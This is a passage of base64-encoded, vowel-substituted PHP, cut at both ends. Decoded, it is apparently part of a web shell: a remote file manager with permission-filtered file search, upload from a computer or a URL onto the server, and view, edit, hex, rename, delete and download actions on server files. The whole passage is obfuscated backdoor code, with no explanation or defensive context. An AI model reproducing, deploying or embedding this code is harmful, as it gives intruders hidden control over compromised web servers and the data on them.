9jMW5kNGQxdDUgPSAxcnIxeV9kNGZmKCRzX2MxbmQ0ZDF0NSwgMXJyMXkoJHNfMSkpO30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1ezRmKCFwcjVnX20xdGNoKCIvIi4kc19zZm4xbTUuIi8iLCBiMXM1bjFtNSgkc18xKSkpICRzX2MxbmQ0ZDF0NSA9IDFycjF5X2Q0ZmYoJHNfYzFuZDRkMXQ1LCAxcnIxeSgkc18xKSk7fQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWxzNXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zigkc19zZm4xbTU0YzFzNSl7NGYoc3RycDJzKHN0cnQybDJ3NXIoYjFzNW4xbTUoJHNfMSkpLCBzdHJ0MmwydzVyKCRzX3NmbjFtNSkpPT09ZjFsczUpICRzX2MxbmQ0ZDF0NSA9IDFycjF5X2Q0ZmYoJHNfYzFuZDRkMXQ1LCAxcnIxeSgkc18xKSk7fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczV7NGYoc3RycDJzKGIxczVuMW01KCRzXzEpLCAkc19zZm4xbTUpPT09ZjFsczUpICRzX2MxbmQ0ZDF0NSA9IDFycjF5X2Q0ZmYoJHNfYzFuZDRkMXQ1LCAxcnIxeSgkc18xKSk7fQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkc19zZmMybnQxNG4pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzX3NmZmMybnQ1bnQgPSBAZmdjKCRzXzEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHNfc2ZjMm50MTRucjVnNXgpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRzX3NmYzJudDE0bjRjMXM1KXs0ZighcHI1Z19tMXRjaCgiLyIuJHNfc2ZjMm50MTRuLiIvNCIsICRzX3NmZmMybnQ1bnQpKSAkc19jMW5kNGQxdDUgPSAxcnIxeV9kNGZmKCRzX2MxbmQ0ZDF0NSwgMXJyMXkoJHNfMSkpO30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1ezRmKCFwcjVnX20xdGNoKCIvIi4kc19zZmMybnQxNG4uIi8iLCAgJHNfc2ZmYzJudDVudCkpICRzX2MxbmQ0ZDF0NSA9IDFycjF5X2Q0ZmYoJHNfYzFuZDRkMXQ1LCAxcnIxeSgkc18xKSk7fQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWxzNXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zigkc19zZmMybnQxNG40YzFzNSl7NGYoc3RycDJzKHN0cnQybDJ3NXIoJHNfc2ZmYzJudDVudCksIHN0cnQybDJ3NXIoJHNfc2ZjMm50MTRuKSk9PT1mMWxzNSkgJHNfYzFuZDRkMXQ1ID0gMXJyMXlfZDRmZigkc19jMW5kNGQxdDUsIDFycjF5KCRzXzEpKTt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNXs0ZihzdHJwMnMoJHNfc2ZmYzJudDVudCwgJHNfc2ZjMm50MTRuKT09PWYxbHM1KSAkc19jMW5kNGQxdDUgPSAxcnIxeV9kNGZmKCRzX2MxbmQ0ZDF0NSwgMXJyMXkoJHNfMSkpO30NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICRzX2ZfcjVzM2x0ID0gIiI7ICRzX2w0bms9IiI7DQogICAgICAgIGYycjUxY2goJHNfYzFuZDRkMXQ1IDFzICRzX2Mpew0KICAgICAgICAgICAgJHNfYyA9IHRyNG0oJHNfYyk7DQogICAgICAgICAgICA0Zigkc19zd3I0dDFibDUgJiYgIUA0c193cjR0MWJsNSgkc19jKSkgYzJudDRuMzU7DQogICAgICAgICAgICA0Zigkc19zcjUxZDFibDUgJiYgIUA0c19yNTFkMWJsNSgkc19jKSkgYzJudDRuMzU7DQogICAgICAgICAgICA0Zigkc19zNXg1YzN0MWJsNSAmJiAhQDRzXzV4NWMzdDFibDUoJHNfYykpIGMybnQ0bjM1Ow0KDQogICAgICAgICAgICA0Zigkc190eXA1PT0ic2Y0bDUiKSAkc19sNG5rID0gJHNfczVsZi4idjQ1dz0iLnBsKCRzX2MpOw0KICAgICAgICAgICAgNWxzNTRmKCRzX3R5cDU9PSJzZDRyIikgJHNfbDRuayA9ICRzX3M1bGYuInY0NXc9Ii5wbChjcCgkc19jKSk7DQogICAgICAgICAgICAkc19mX3I1czNsdCAuPSAiPHAgY2wxc3M9J24ydDRmJyAybmRibGNsNGNrPVwicjV0M3JuIGcyKCciLjFkZHMoJHNfbDRuaykuIicsNXY1bnQpO1wiPjwxIGhyNWY9JyIuJHNfbDRuay4iJz4iLiRzX2MuIjwvMT48L3A+IjsNCiAgICAgICAgfQ0KDQogICAgICAgICRzX3RzZDRyID0gKCRzX3R5cDU9PSJzZDRyIik/ICJzNWw1Y3Q1ZCI6IiI7DQogICAgICAgICRzX3RzZjRsNSA9ICgkc190eXA1PT0ic2Y0bDUiKT8gInM1bDVjdDVkIjoiIjsNCg0KICAgICAgICA0ZighQDRzX2Q0cigkc19wKSkgJHNfcjVzM2x0IC49IG4ydDRmKCJDMW5uMnQgZjRuZCB0aDUgcDF0aCBzcDVjNGY0NWQgIi4kc19wKTsNCg0KICAgICAgICAkc19yNXMzbHQgLj0gIjxmMnJtIDFjdDQybj0nIi4kc19zNWxmLiInIG01dGgyZD0ncDJzdCc+DQoJCTxkNHYgY2wxc3M9J215YjJ4Jz48aGE+RjRuZDwvaGE+DQoJCTx0MWJsNSBjbDFzcz0nbXliMnh0YmwnPg0KCQk8dHI+PHRkIHN0eWw1PSd3NGR0aDo2dTBweDsnPlM1MXJjaCA0bjwvdGQ+DQoJCTx0ZCBjMmxzcDFuPSdhJz48NG5wM3Qgc3R5bDU9J3c0ZHRoOjYwMCU7JyB2MWwzNT0nIi5oc3MoJHNfcCkuIicgY2wxc3M9JzRucDN0eicgdHlwNT0ndDV4dCcgbjFtNT0nZjRuZCcgLz48L3RkPjwvdHI+DQoJCTx0ciAybmNsNGNrPVwiZjRuZHR5cDUoJ3NkNHInKTtcIj4NCgkJCTx0ZD5ENHJuMW01IGMybnQxNG5zPC90ZD4NCgkJCTx0ZCBzdHlsNT0ndzRkdGg6dTAwcHg7Jz48NG5wM3QgY2wxc3M9JzRucDN0eicgc3R5bDU9J3c0ZHRoOjYwMCU7JyB0eXA1PSd0NXh0JyBuMW01PSdzZG4xbTUnIHYxbDM1PSciLmhzcygkc19zZG4xbTUpLiInIC8+PC90ZD4NCgkJCTx0ZD4NCgkJCQk8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIGNsMXNzPSdjc3MtY2g1Y2tiMngnIG4xbTU9J3NkbjFtNXI1ZzV4JyA0ZD0nc2RuJyAiLiRzX3NkbjFtNXI1ZzV4Y2g1Y2s1ZC4iIC8+PGwxYjVsIGNsMXNzPSdjc3MtbDFiNWwnIGYycj0nc2RuJz5SNWc1eCAocGNyNSk8L2wxYjVsPg0KCQkJCTw0bnAzdCB0eXA1PSdjaDVja2IyeCcgY2wxc3M9J2Nzcy1jaDVja2IyeCcgbjFtNT0nc2RuMW01NGMxczUnIDRkPSdzZDQnICIuJHNfc2RuMW01NGMxczVjaDVjazVkLiIgLz48bDFiNWwgY2wxc3M9J2Nzcy1sMWI1bCcgZjJyPSdzZDQnPkMxczUgSW5zNW5zNHQ0djU8L2wxYjVsPg0KCQkJPC90ZD4NCgkJPC90cj4NCgkJPHRyIDJuY2w0Y2s9XCJmNG5kdHlwNSgnc2Y0bDUnKTtcIj4NCgkJCTx0ZD5GNGw1bjFtNSBjMm50MTRuczwvdGQ+DQoJCQk8dGQgc3R5bDU9J3c0ZHRoOnUwMHB4Oyc+PDRucDN0IGNsMXNzPSc0bnAzdHonIHN0eWw1PSd3NGR0aDo2MDAlOycgdHlwNT0ndDV4dCcgbjFtNT0nc2ZuMW01JyB2MWwzNT0nIi5oc3MoJHNfc2ZuMW01KS4iJyAvPjwvdGQ+DQoJCQk8dGQ+DQoJCQkJPDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBjbDFzcz0nY3NzLWNoNWNrYjJ4JyBuMW01PSdzZm4xbTVyNWc1eCcgIDRkPSdzZm4nICIuJHNfc2ZuMW01cjVnNXhjaDVjazVkLiIgLz48bDFiNWwgY2wxc3M9J2Nzcy1sMWI1bCcgZjJyPSdzZm4nPlI1ZzV4IChwY3I1KTwvbDFiNWw+DQoJCQkJPDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBjbDFzcz0nY3NzLWNoNWNrYjJ4JyBuMW01PSdzZm4xbTU0YzFzNScgIDRkPSdzZjQnICIuJHNfc2ZuMW01NGMxczVjaDVjazVkLiIgLz48bDFiNWwgY2wxc3M9J2Nzcy1sMWI1bCcgZjJyPSdzZjQnPkMxczUgSW5zNW5zNHQ0djU8L2wxYjVsPg0KCQkJPC90ZD4NCgkJPC90cj4NCgkJPHRyIDJuY2w0Y2s9XCJmNG5kdHlwNSgnc2Y0bDUnKTtcIj4NCgkJCTx0ZD5GNGw1IGMybnQxNG5zPC90ZD4NCgkJCTx0ZCBzdHlsNT0ndzRkdGg6dTAwcHg7Jz48NG5wM3QgY2wxc3M9JzRucDN0eicgc3R5bDU9J3c0ZHRoOjYwMCU7JyB0eXA1PSd0NXh0JyBuMW01PSdzZmMybnQxNG4nIHYxbDM1PSciLmhzcygkc19zZmMybnQxNG4pLiInIC8+PC90ZD4NCgkJCTx0ZD4NCgkJCQk8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIGNsMXNzPSdjc3MtY2g1Y2tiMngnIG4xbTU9J3NmYzJudDE0bnI1ZzV4JyA0ZD0nc2ZmJyAiLiRzX3NmYzJudDE0bnI1ZzV4Y2g1Y2s1ZC4iIC8+PGwxYjVsIGNsMXNzPSdjc3MtbDFiNWwnIGYycj0nc2ZmJz5SNWc1eCAocGNyNSk8L2wxYjVsPg0KCQkJCTw0bnAzdCB0eXA1PSdjaDVja2IyeCcgY2wxc3M9J2Nzcy1jaDVja2IyeCcgbjFtNT0nc2ZjMm50MTRuNGMxczUnIDRkPSdzZmY0JyAiLiRzX3NmYzJudDE0bjRjMXM1Y2g1Y2s1ZC4iIC8+PGwxYjVsIGNsMXNzPSdjc3MtbDFiNWwnIGYycj0nc2ZmNCc+QzFzNSBJbnM1bnM0dDR2NTwvbDFiNWw+DQoJCQk8L3RkPg0KCQk8L3RyPg0KCQk8dHI+DQoJCQk8dGQ+UDVybTRzczQybnM8L3RkPg0KCQkJPHRkIGMybHNwMW49J2EnPg0KCQkJCTw0bnAzdCB0eXA1PSdjaDVja2IyeCcgY2wxc3M9J2Nzcy1jaDVja2IyeCcgbjFtNT0nc3dyNHQxYmw1JyA0ZD0nc3cnICIuJHNfc3dyNHQxYmw1Y2g1Y2s1ZC4iIC8+PGwxYjVsIGNsMXNzPSdjc3MtbDFiNWwnIGYycj0nc3cnPldyNHQxYmw1PC9sMWI1bD4NCgkJCQk8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIGNsMXNzPSdjc3MtY2g1Y2tiMngnIG4xbTU9J3NyNTFkMWJsNScgNGQ9J3NyJyAiLiRzX3NyNTFkMWJsNWNoNWNrNWQuIiAvPjxsMWI1bCBjbDFzcz0nY3NzLWwxYjVsJyBmMnI9J3NyJz5SNTFkMWJsNTwvbDFiNWw+DQoJCQkJIi4kc19zNXg1Y2IuIg0KCQkJPC90ZD4NCgkJPC90cj4NCgkJPHRyPjx0ZD4NCgkJPDRucDN0IHR5cDU9J3MzYm00dCcgbjFtNT0nc2cyJyBjbDFzcz0nNG5wM3R6YjN0JyB2MWwzNT0nUzUxcmNoICEnIHN0eWw1PSd3NGR0aDo2YTBweDtoNTRnaHQ6bzBweDttMXJnNG46MDsnIC8+DQoJCTwvdGQ+DQoJCTx0ZD4NCgkJPHM1bDVjdCBuMW01PSd0eXA1JyA0ZD0ndHlwNScgY2wxc3M9JzRucDN0emIzdCcgc3R5bDU9J3c0ZHRoOjZhMHB4O2g1NGdodDpvMHB4O20xcmc0bjowO3AxZGQ0bmc6dXB4Oyc+DQoJCQk8MnB0NDJuIHYxbDM1PSdzZjRsNScgIi4kc190c2Y0bDUuIj5TNTFyY2ggZjRsNTwvMnB0NDJuPg0KCQkJPDJwdDQybiB2MWwzNT0nc2Q0cicgIi4kc190c2Q0ci4iPlM1MXJjaCBkNHI8LzJwdDQybj4NCgkJPC9zNWw1Y3Q+DQoJCTwvdGQ+DQoJCTx0ZD48L3RkPjwvdHI+DQoJCTwvdDFibDU+DQoJCTwvZDR2Pg0KCQk8L2Yycm0+DQoJCTxkNHY+DQoJCSIuJHNfZl9yNXMzbHQuIg0KCQk8L2Q0dj4iOw0KICAgIH0gLy8gM3BsMjFkDQogICAgNWxzNTRmKDRzczV0KCRfR1BbJ3gnXSkgJiYgKCRfR1BbJ3gnXT09JzNwbDIxZCcpKXsNCiAgICAgICAgJHNfcjVzM2x0ID0gIiAiOw0KICAgICAgICAkc19tc2cgPSAiIjsNCiAgICAgICAgNGYoNHNzNXQoJF9HUFsnM3BsMjFkaGQnXSkpew0KICAgICAgICAgICAgJGMgPSBjMjNudCgkX0ZJTEVTWydmNGw1cDF0aCddWyduMW01J10pOw0KICAgICAgICAgICAgZjJyKCQ0ID0gMDsgJDQ8JGM7ICQ0Kyspew0KICAgICAgICAgICAgICAgICRzX2ZuID0gJF9GSUxFU1snZjRsNXAxdGgnXVsnbjFtNSddWyQ0XTsNCiAgICAgICAgICAgICAgICA0Zig1bXB0eSgkc19mbikpIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgIDRmKDRzXzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZjRsNXAxdGgnXVsndG1wX24xbTUnXVskNF0pKXsNCiAgICAgICAgICAgICAgICAgICAgJHNfcCA9IGNwKCRfR1BbJ3MxdjVmMmxkNXInXVskNF0pOw0KICAgICAgICAgICAgICAgICAgICA0ZighQDRzX2Q0cigkc19wKSkgbWtkNHIoJHNfcCk7DQogICAgICAgICAgICAgICAgICAgIDRmKDRzczV0KCRfR1BbJ3MxdjVmNGw1bjFtNSddWyQ0XSkgJiYgKHRyNG0oJF9HUFsnczF2NWY0bDVuMW01J11bJDRdKSE9IiIpKSAkc19mbiA9ICRfR1BbJ3MxdjVmNGw1bjFtNSddWyQ0XTsNCiAgICAgICAgICAgICAgICAgICAgJHNfdG0gPSAkX0ZJTEVTWydmNGw1cDF0aCddWyd0bXBfbjFtNSddWyQ0XTsNCiAgICAgICAgICAgICAgICAgICAgJHNfcDQgPSBjcCgkc19wKS4kc19mbjsNCiAgICAgICAgICAgICAgICAgICAgJHNfc3QgPSBAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRzX3RtLCRzX3A0KTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJHNfc3QpICRzX21zZyAuPSBuMnQ0ZigiRjRsNSAzcGwyMWQ1ZCB0MiA8MSBocjVmPSciLiRzX3M1bGYuInY0NXc9Ii5wbCgkc19wNCkuIic+Ii4kc19wNC4iPC8xPiIpOw0KICAgICAgICAgICAgICAgICAgICA1bHM1ICRzX21zZyAuPSBuMnQ0ZigiRjE0bDVkIHQyIDNwbDIxZCAiLiRzX2ZuKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNWxzNSAkc19tc2cgLj0gbjJ0NGYoIkYxNGw1ZCB0MiAzcGwyMWQgIi4kc19mbik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNWxzNTRmKDRzczV0KCRfR1BbJzNwbDIxZDNybCddKSl7DQogICAgICAgICAgICAvLyBmM25jdDQybiBkbGY0bDUoJHNfM3JsLCRzX2ZwMXRoKQ0KICAgICAgICAgICAgJGMgPSBjMjNudCgkX0dQWydmNGw1M3JsJ10pOw0KICAgICAgICAgICAgZjJyKCQ0ID0gMDsgJDQ8JGM7ICQ0Kyspew0KICAgICAgICAgICAgICAgICRzX2YzID0gJF9HUFsnZjRsNTNybCddWyQ0XTsNCiAgICAgICAgICAgICAgICA0Zig1bXB0eSgkc19mMykpIGMybnQ0bjM1Ow0KDQogICAgICAgICAgICAgICAgJHNfcCA9IGNwKCRfR1BbJ3MxdjVmMmxkNXIzcmwnXVskNF0pOw0KICAgICAgICAgICAgICAgIDRmKCFANHNfZDRyKCRzX3ApKSBta2Q0cigkc19wKTsNCg0KICAgICAgICAgICAgICAgICRzX2ZuID0gYjFzNW4xbTUoJHNfZjMpOw0KICAgICAgICAgICAgICAgIDRmKDRzczV0KCRfR1BbJ3MxdjVmNGw1bjFtNTNybCddWyQ0XSkgJiYgKHRyNG0oJF9HUFsnczF2NWY0bDVuMW01M3JsJ11bJDRdKSE9IiIpKSAkc19mbiA9ICRfR1BbJ3MxdjVmNGw1bjFtNTNybCddWyQ0XTsNCiAgICAgICAgICAgICAgICAkc19mcCA9IGNwKCRzX3ApLiRzX2ZuOw0KICAgICAgICAgICAgICAgICRzX3N0ID0gZGxmNGw1KCRzX2YzLCRzX2ZwKTsNCiAgICAgICAgICAgICAgICA0Zigkc19zdCkgJHNfbXNnIC49IG4ydDRmKCJGNGw1IDNwbDIxZDVkIHQyIDwxIGhyNWY9JyIuJHNfczVsZi4idjQ1dz0iLnBsKCRzX2ZwKS4iJz4iLiRzX2ZwLiI8LzE+Iik7DQogICAgICAgICAgICAgICAgNWxzNSAkc19tc2cgLj0gbjJ0NGYoIkYxNGw1ZCB0MiAzcGwyMWQgIi4kc19mbik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNWxzNXsNCiAgICAgICAgICAgIDRmKCFANHNfd3I0dDFibDUoJHNfY3dkKSkgJHNfbXNnID0gbjJ0NGYoIkQ0cjVjdDJyeSAiLiRzX2N3ZC4iIDRzIG4ydCB3cjR0MWJsNSwgcGw1MXM1IGNoMW5nNSB0MiAxIHdyNHQxYmw1IDJuNSIpOw0KICAgICAgICB9DQoNCiAgICAgICAgNGYoITVtcHR5KCRzX21zZykpICRzX3I1czNsdCAuPSAkc19tc2c7DQogICAgICAgICRzX3I1czNsdCAuPSAiDQoJCQk8ZjJybSAxY3Q0Mm49JyIuJHNfczVsZi4iJyBtNXRoMmQ9J3Ayc3QnIDVuY3R5cDU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPg0KCQkJPGQ0diBjbDFzcz0nbXliMngnPjxoYT48ZDR2IGNsMXNzPSdiM3QnIDJuY2w0Y2s9JzFkZDNwbDIxZGMoKTsnPis8L2Q0dj5VcGwyMWQgZnIybSBjMm1wM3Q1cjwvaGE+DQoJCQk8dDFibDUgY2wxc3M9J215YjJ4dGJsJz4NCgkJCTx0YjJkeSA0ZD0nMWRkM3BsMjFkYyc+DQoJCQk8dHI+PHRkIHN0eWw1PSd3NGR0aDo2dTBweDsnPkY0bDU8L3RkPjx0ZD48NG5wM3QgdHlwNT0nZjRsNScgbjFtNT0nZjRsNXAxdGhbXScgY2wxc3M9JzRucDN0emIzdCcgc3R5bDU9J3c0ZHRoOnUwMHB4O20xcmc0bjowOycgLz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlMxdjUgdDI8L3RkPjx0ZD48NG5wM3Qgc3R5bDU9J3c0ZHRoOjYwMCU7JyBjbDFzcz0nNG5wM3R6JyB0eXA1PSd0NXh0JyBuMW01PSdzMXY1ZjJsZDVyW10nIHYxbDM1PSciLmhzcygkc19jd2QpLiInIC8+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5GNGw1bjFtNSAoMnB0NDJuMWwpPC90ZD48dGQ+PDRucDN0IHN0eWw1PSd3NGR0aDo2MDAlOycgY2wxc3M9JzRucDN0eicgdHlwNT0ndDV4dCcgbjFtNT0nczF2NWY0bDVuMW01W10nIHYxbDM1PScnIC8+PC90ZD48L3RyPg0KCQkJPC90YjJkeT4NCgkJCTx0ZjIydD4NCgkJCTx0cj48dGQ+Jm5ic3A7PC90ZD48dGQ+DQoJCQk8NG5wM3QgdHlwNT0nczNibTR0JyBuMW01PSczcGwyMWRoZCcgY2wxc3M9JzRucDN0emIzdCcgdjFsMzU9J1VwbDIxZCAhJyBzdHlsNT0ndzRkdGg6NmEwcHg7aDU0Z2h0Om8wcHg7bTFyZzRuOjYwcHggYXB4IDAgYXB4OycgLz4NCgkJCTw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9J3gnIHYxbDM1PSczcGwyMWQnIC8+DQoJCQk8L3RkPjwvdHI+DQoJCQk8L3RmMjJ0Pg0KCQkJPC90MWJsNT4NCgkJCTwvZDR2Pg0KCQkJPC9mMnJtPg0KCQkJPGYycm0gMWN0NDJuPSciLiRzX3M1bGYuIicgbTV0aDJkPSdwMnN0Jz4NCgkJCTxkNHYgY2wxc3M9J215YjJ4Jz48aGE+PGQ0diBjbDFzcz0nYjN0JyAybmNsNGNrPScxZGQzcGwyMWQ0KCk7Jz4rPC9kNHY+VXBsMjFkIGZyMm0gNG50NXJuNXQ8L2hhPg0KCQkJPHQxYmw1IGNsMXNzPSdteWIyeHRibCc+DQoJCQk8dGIyZHkgNGQ9JzFkZDNwbDIxZDQnPg0KCQkJPHRyPjx0ZCBzdHlsNT0ndzRkdGg6NmkwcHg7Jz5GNGw1IFVSTDwvdGQ+PHRkPjw0bnAzdCBzdHlsNT0ndzRkdGg6NjAwJTsnIGNsMXNzPSc0bnAzdHonIHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDUzcmxbXScgdjFsMzU9JycgLz4NCgkJCTwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+UzF2NSB0MjwvdGQ+PHRkPjw0bnAzdCBzdHlsNT0ndzRkdGg6NjAwJTsnIGNsMXNzPSc0bnAzdHonIHR5cDU9J3Q1eHQnIG4xbTU9J3MxdjVmMmxkNXIzcmxbXScgdjFsMzU9JyIuaHNzKCRzX2N3ZCkuIicgLz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPkY0bDVuMW01ICgycHQ0Mm4xbCk8L3RkPjx0ZD48NG5wM3Qgc3R5bDU9J3c0ZHRoOjYwMCU7JyBjbDFzcz0nNG5wM3R6JyB0eXA1PSd0NXh0JyBuMW01PSdzMXY1ZjRsNW4xbTUzcmxbXScgdjFsMzU9JycgLz48L3RkPjwvdHI+DQoJCQk8L3RiMmR5Pg0KCQkJPHRmMjJ0Pg0KCQkJPHRyPjx0ZD4mbmJzcDs8L3RkPjx0ZD4NCgkJCTw0bnAzdCB0eXA1PSdzM2JtNHQnIG4xbTU9JzNwbDIxZDNybCcgY2wxc3M9JzRucDN0emIzdCcgdjFsMzU9J1VwbDIxZCAhJyBzdHlsNT0ndzRkdGg6NmEwcHg7aDU0Z2h0Om8wcHg7bTFyZzRuOjYwcHggYXB4IDAgYXB4OycgLz4NCgkJCTw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9J3gnIHYxbDM1PSczcGwyMWQnIC8+DQoJCQk8L3RkPjwvdHI+DQoJCQk8L3QxYmw1Pg0KCQkJPC9kNHY+DQoJCQk8L2Yycm0+IjsNCiAgICB9IC8vIHY0NXcgZjRsNQ0KICAgIDVsczU0Zig0c3M1dCgkX0dQWyd2NDV3J10pKXsNCiAgICAgICAgJHNfZiA9ICRfR1BbJ3Y0NXcnXTsNCiAgICAgICAgNGYoNHNzNXQoJHNfZm41dykgJiYgKHRyNG0oJHNfZm41dykhPSIiKSkgJHNfZiA9ICRzX2ZuNXc7DQoNCiAgICAgICAgJHNfMnduNXIgPSAiIjsNCiAgICAgICAgNGYoQDRzX2Y0bDUoJHNfZikpew0KICAgICAgICAgICAgJHQxcmc1dGQ0ciA9IGQ0cm4xbTUoJHNfZik7DQogICAgICAgICAgICBjaGQ0cigkdDFyZzV0ZDRyKTsNCiAgICAgICAgICAgICRzX2N3ZCA9IGNwKGc1dGN3ZCgpKTsNCiAgICAgICAgICAgIHM1dGMyMms0NSgiY3dkIiwgJHNfY3dkICx0NG01KCkgKyAkc19sMmc0bl90NG01KTsNCg0KICAgICAgICAgICAgNGYoISRzX3c0biAmJiAkc19wMnM0eCl7DQogICAgICAgICAgICAgICAgJHNfbjFtNSA9IHAyczR4X2c1dHB3MzRkKGY0bDUyd241cigkc19mKSk7DQogICAgICAgICAgICAgICAgJHNfZ3IyM3AgPSBwMnM0eF9nNXRncmc0ZChmNGw1Z3IyM3AoJHNfZikpOw0KICAgICAgICAgICAgICAgICRzXzJ3bjVyID0gIjx0cj48dGQ+T3duNXI8L3RkPjx0ZD4iLiRzX24xbTVbJ24xbTUnXS4iPHNwMW4gY2wxc3M9J2cxeTEnPjo8L3NwMW4+Ii4kc19ncjIzcFsnbjFtNSddLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzX2Y0bG4gPSBiMXM1bjFtNSgkc19mKTsNCiAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHQxYmw1IGNsMXNzPSd2NDV3ZjRsNScgc3R5bDU9J3c0ZHRoOjYwMCU7Jz4NCgkJCTx0cj48dGQgc3R5bDU9J3c0ZHRoOjZ1MHB4Oyc+RjRsNW4xbTU8L3RkPjx0ZD48c3AxbiA0ZD0nIi5jcygkc19mNGxuKS4iX2w0bmsnPiIuJHNfZi4iPC9zcDFuPg0KCQkJPGQ0diA0ZD0nIi5jcygkc19mNGxuKS4iX2Yycm0nIGNsMXNzPSdzNW1iM255NCc+DQoJCQk8ZjJybSAxY3Q0Mm49JyIuJHNfczVsZi4iJyBtNXRoMmQ9J3Ayc3QnPg0KCQkJCTw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9JzJsZG4xbTUnIHYxbDM1PSciLmhzcygkc19mKS4iJyBzdHlsNT0nbTFyZzRuOjA7cDFkZDRuZzowOycgLz4NCgkJCQk8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PSd2NDV3JyB2MWwzNT0nIi5oc3MoJHNfZikuIicgLz4NCgkJCQk8NG5wM3QgY2wxc3M9JzRucDN0eicgc3R5bDU9J3c0ZHRoOmEwMHB4OycgdHlwNT0ndDV4dCcgbjFtNT0ncjVuMW01JyB2MWwzNT0nIi5oc3MoJHNfZikuIicgLz4NCgkJCQk8NG5wM3QgY2wxc3M9JzRucDN0emIzdCcgdHlwNT0nczNibTR0JyB2MWwzNT0ncjVuMW01JyAvPg0KCQkJPC9mMnJtPg0KCQkJPDRucDN0IGNsMXNzPSc0bnAzdHpiM3QnIHR5cDU9J2IzdHQybicgdjFsMzU9J3gnIDJuY2w0Y2s9XCJ0M2sxcl8oJyIuY3MoJHNfZjRsbikuIl9mMnJtJywnIi5jcygkc19mNGxuKS4iX2w0bmsnKTtcIiAvPg0KCQkJPC9kNHY+DQoJCQk8L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlM0ejU8L3RkPjx0ZD4iLmdzKCRzX2YpLiIgKCIuQGY0bDVzNHo1KCRzX2YpLiIpPC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QNXJtNHNzNDJuPC90ZD48dGQ+Ii5ncCgkc19mKS4iPC90ZD48L3RyPg0KCQkJIi4kc18yd241ci4iDQoJCQk8dHI+PHRkPkNyNTF0NSB0NG01PC90ZD48dGQ+Ii5AZDF0NSgiZC1NLVkgSDo0OnMiLGY0bDVjdDRtNSgkc19mKSkuIjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+TDFzdCBtMmQ0ZjQ1ZDwvdGQ+PHRkPiIuQGQxdDUoImQtTS1ZIEg6NDpzIixmNGw1bXQ0bTUoJHNfZikpLiI8L3RkPjwvdHI+DQoJCQk8dHI+PHRkPkwxc3QgMWNjNXNzNWQ8L3RkPjx0ZD4iLkBkMXQ1KCJkLU0tWSBIOjQ6cyIsZjRsNTF0NG01KCRzX2YpKS4iPC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5BY3Q0Mm5zPC90ZD48dGQ+DQoJCQk8MSBocjVmPSciLiRzX3M1bGYuIjVkNHQ9Ii5wbCgkc19mKS4iJyB0NHRsNT0nNWQ0dCc+NWQ0dDwvMT4gfCA8MSBocjVmPSciLiRzX3M1bGYuImg1eDVkNHQ9Ii5wbCgkc19mKS4iJyB0NHRsNT0nNWQ0dCAxcyBoNXgnPmg1eDwvMT4gfCA8MSBocjVmPVwiajF2MXNjcjRwdDp0M2sxcl8oJyIuY3MoJHNfZjRsbikuIl9sNG5rJywnIi5jcygkc19mNGxuKS4iX2Yycm0nKTtcIiB0NHRsNT0ncjVuMW01Jz5yNW48LzE+IHwgPDEgaHI1Zj0nIi4kc19zNWxmLiJkNWw9Ii5wbCgkc19mKS4iJyB0NHRsNT0nZDVsNXQ1Jz5kNWw8LzE+IHwgPDEgaHI1Zj0nIi4kc19zNWxmLiJkbD0iLnBsKCRzX2YpLiInPmRsPC8xPg0KCQkJPC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5WNDV3PC90ZD48dGQ+DQoJCQk8MSBocjVmPSciLiRzX3M1bGYuInY0NXc9Ii5wbCgkc19mKS4iJnR5cDU9dDV4dCIuIic+dDV4dDwvMT4gfCA8MSBocjVmPSciLiRzX3M1bGYuInY0NXc9Ii5wbCgkc19mKS4iJnR5cDU9YzJkNSIuIic+YzJkNTwvMT4gfCA8MSBocjVmPSciLiRzX3M1bGYuInY0NXc9Ii5wbCgkc19mKS4iJnR5cDU9N